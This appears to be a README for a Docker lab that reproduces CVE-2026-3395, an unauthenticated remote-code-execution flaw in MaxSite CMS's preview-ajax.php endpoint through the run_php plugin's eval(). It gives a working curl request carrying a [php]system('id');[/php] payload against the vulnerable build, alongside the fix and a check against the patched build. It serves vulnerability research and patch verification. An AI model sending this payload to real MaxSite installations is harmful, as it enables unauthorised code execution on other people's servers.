CVE-2026-3395 — MaxSite CMS Unauthenticated RCE Lab

This repository is for educational and research purposes only. All testing must be done in a local Docker lab environment. Do not deploy this setup to public or production systems.

---

Summary

CVE-2026-3395 affects MaxSite CMS and allows unauthenticated access to an administrative AJAX endpoint. When the run_php plugin is enabled, user input can be evaluated as PHP code through the CMS hook system, which may lead to Remote Code Execution (RCE).

This repository includes:

• A vulnerable build (pre-patch commit)
• A patched build (post-fix commit)
• A Docker lab for reproduction
• A safe proof-of-impact demonstration

---

Vulnerability Overview

The vulnerable endpoint is located at:

application/maxsite/admin/plugins/editor_markitup/preview-ajax.php

In the vulnerable version:

• The endpoint can be accessed without authentication
• User input (POST data) is passed through mso_hook()
• The run_php plugin processes [php]...[/php] blocks
• The plugin evaluates enclosed code using eval()

If run_php is enabled, this results in unauthenticated remote code execution.

The patched version adds:

if (!is_login()) die('no login');
mso_checkreferer();

This restricts access to authenticated users only.

---

Docker Lab Setup

This lab builds two environments:

Environment	Port
Vulnerable	8081
Patched	8082

---

Requirements

• Docker
• Docker Compose v2

---

1. Build and Start

docker compose up -d --build

This will:

• Build both images
• Start the databases
• Run the CMS installer automatically
• Enble run_php in the lab configuration

---

2. Verify Installation

Open in your browser:

http://localhost:8081  (Vulnerable)
http://localhost:8082  (Patched)

Both instances should load successfully.

---

Proof of Vulnerability (Lab Only)

The AJAX route uses a base64-encoded path.

Base64 of:

admin/plugins/editor_markitup/preview-ajax.php

is:

YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==

---

Vulnerable Instance Test

curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Referer: http://localhost:8081/" \
  --data-urlencode "data=[php]system('id');[/php]"

---

Patched Instance Test

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Referer: http://localhost:8082/" \
  --data-urlencode "data=[php]system('id');[/php]"

Expected result:

no login

---

Stop the Lab

To stop containers:

docker compose down -v

---

Disclaimer

Use this project only in isolated environments for research and learning purposes.

---

References

• Public write-up: https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/
• VulDB entry: https://vuldb.com/?submit.762169
• Official patch commit: https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3